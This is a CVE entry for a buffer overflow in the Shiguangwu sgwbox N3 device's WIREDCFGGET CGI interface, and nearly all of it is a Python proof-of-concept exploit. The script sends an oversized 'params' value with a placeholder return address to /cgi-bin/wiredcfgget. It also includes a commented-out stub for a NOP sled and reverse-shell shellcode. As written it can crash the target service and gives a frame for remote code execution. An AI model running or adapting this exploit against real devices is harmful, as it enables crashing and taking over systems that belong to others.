CVE-2025-14708: Shiguangwu sgwbox N3 WIREDCFGGET接口缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-14708 PoC - Shiguangwu sgwbox N3 Buffer Overflow # Target: /usr/sbin/http_eshell_server WIREDCFGGET Interface import socket import sys def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit buffer overflow in WIREDCFGGET params parameter """ # Construct malicious payload with excessive length params # EIP offset: 1024 bytes (example offset, adjust based on target) junk = b'A' * 1024 # Optional: Add NOP sled and shellcode nop_sled = b'\x90' * 16 # Linux reverse shell shellcode (example) # shellcode = b'\x6a\x02\x5b\x6a\x29\x58\xcd\x80...' # Overwrite EIP with return address (adjust for ASLR) eip = b'\x42\x42\x42\x42' # Placeholder - need proper address payload = junk + eip # + nop_sled + shellcode # HTTP request to WIREDCFGGET interface http_request = ( f"GET /cgi-bin/wiredcfgget?params={payload.decode('latin-1')} HTTP/1.1\r\n" f"Host: {target_ip}:{target_port}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Accept: */*\r\n" f"Connection: close\r\n\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Exploiting CVE-2025-14708 on {target}:{port}") exploit_buffer_overflow(target, port)